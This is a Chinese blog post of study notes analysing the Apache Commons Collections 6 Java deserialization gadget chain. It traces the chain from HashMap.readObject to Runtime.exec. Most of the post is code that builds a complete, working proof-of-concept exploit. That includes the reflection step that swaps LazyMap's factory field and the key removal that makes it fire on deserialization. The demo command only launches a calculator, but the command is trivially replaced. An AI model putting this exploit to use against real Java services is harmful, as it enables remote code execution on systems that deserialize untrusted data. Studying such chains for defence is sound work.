CommonCollections6链分析
作者:互联网
前言
本文参考b站白日梦组长仅做笔记记录,完全跟着他复现,大家可以参考他的视频学习。
Gadget分析
因为只看了cc1可以说cc6利用的是cc1的前半部分,一直到LazyMap.decorate
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>();
Map<Object,Object> lazyMap = LazyMap.decorate(map, chainedTransformer);
能走到LazyMap其实主要是LazyMap的get方法调用了factory.transform
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}
然后再看哪里调用了get方法,发现TiedMapEntry的getValue调用了get方法,只要控制map为LazyMap就可以调用LazyMap.get方法
/**
* Gets the value of this entry direct from the map.
*
* @return the value
*/
public Object getValue() {
return map.get(key);
}
然后还发现TiedMapEntry的hashCode调用了getValue,getValue里面调用了map.get方法,这样链子就通了。
/**
* Gets a hashCode compatible with the equals method.
* <p>
* Implemented per API documentation of {@link java.util.Map.Entry#hashCode()}
*
* @return a suitable hash code
*/
public int hashCode() {
Object value = getValue();
return (getKey() == null ? 0 : getKey().hashCode()) ^
(value == null ? 0 : value.hashCode());
}
这个时候能联想到URLDNS链,HashMap中的readObject调用了hash方法
putVal(hash(key), key, value, false, false);
hash方法又调用了hashCode
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
我们传入的key为TiedMapEntry就可以调用TiedMapEntry的hashCode方法,所以Gadget就出来了
Gadget chain:
java.io.ObjectInputStream.readObject()
java.util.HashSet.readObject()
java.util.HashMap.put()
java.util.HashMap.hash()
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
org.apache.commons.collections.map.LazyMap.get()
org.apache.commons.collections.functors.ChainedTransformer.transform()
org.apache.commons.collections.functors.InvokerTransformer.transform()
java.lang.reflect.Method.invoke()
java.lang.Runtime.exec()
poc编写
前半部分用的都是cc1的链
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>();
Map<Object,Object> lazyMap = LazyMap.decorate(map, chainedTransformer);
TiedMapEntry可以接收两个参数,一个map一个key。
public TiedMapEntry(Map map, Object key) {
super();
this.map = map;
this.key = key;
}
public Object getValue() {
return map.get(key);
}
我们要调用LazyMap.get,所以map要传LazyMap,key随意得到
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "Demodd");
然后我们要调用这个TiedMapEntry,先写一个HashMap
HashMap<Object, Object> map2 = new HashMap<>();
最后是要调用hash方法
putVal(hash(key), key, value, false, false);
hash方法调用了那个hashCode
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
我们是要调用TiedMapEntry.hashCode,所以我们要给key赋值,value随意
所以现在的poc为
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>();
Map<Object,Object> lazyMap = LazyMap.decorate(map, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "Demodd");
HashMap<Object, Object> map2 = new HashMap<>();
map2.put(tiedMapEntry,"Demodd");
这个时候会遇到一个问题,就是执行poc也会执行calc.exe。然后我们可以想一下为什么,这就回到了URLDNS那条链
public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}
执行map2.put的时候会调用hashMap的put方法也会执行 putVal,这样就把咱们的流程走完了,所以我们现在要做的就是不让他执行这个put方法。执行这个put方法其实是一定的,这里我们不能组织,那我们可以更改前面的链,也就是在调用那些transform的地方动手脚,只要时不让他正确执行然后我们后面再把这个地方修改为正确就好。
所以我们可以修改
Map<Object,Object> lazyMap = LazyMap.decorate(map, chainedTransformer);
这里是传了chainedTransformer,我们可以把他修改为别的东西,对这条链执行没有影响的
Map<Object,Object> lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));
ConstantTransformer需要接收一个参数,随便赋值就可以。
然后我们怎么把这个改回去呢,我们可以看看LazyMap.decorate
public static Map decorate(Map map, Factory factory) {
return new LazyMap(map, factory);
}
第二个参数是调用了factory,跟进一下
protected final Transformer factory;
是一个protected,所以我们只能通过反射修改他的值
Class<LazyMap> lazyMapClass = LazyMap.class;
Field factoryField = lazyMapClass.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap,chainedTransformer);
现在的poc为
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class CommonCollections6 {
public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>();
Map<Object,Object> lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "Demodd");
HashMap<Object, Object> map2 = new HashMap<>();
map2.put(tiedMapEntry,"Demo");
Class<LazyMap> lazyMapClass = LazyMap.class;
Field factoryField = lazyMapClass.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap,chainedTransformer);
// serialize(map2);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
先序列化再反序列化发现并不能弹出计算器,原因是在执行反序列化的时候map里面已经有Key了,我们可以通过反序列化跟进一下看一下,在map2.put(tiedMapEntry,“Demodd”);这个地方下断点(由于不太会调试所以详细记录下)
单击hash
在这能发现执行了map.put
所以我们要在反序列化之前移除这个key
lazyMap.remove("Demodd");
总poc为
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class CommonCollections6 {
public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>();
Map<Object,Object> lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "Demodd");
HashMap<Object, Object> map2 = new HashMap<>();
map2.put(tiedMapEntry,"Demo");
lazyMap.remove("Demodd");
Class<LazyMap> lazyMapClass = LazyMap.class;
Field factoryField = lazyMapClass.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap,chainedTransformer);
// serialize(map2);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
标签:map,HashMap,链分析,Object,CommonCollections6,key,new,class 来源: https://blog.csdn.net/qq_47886905/article/details/123611042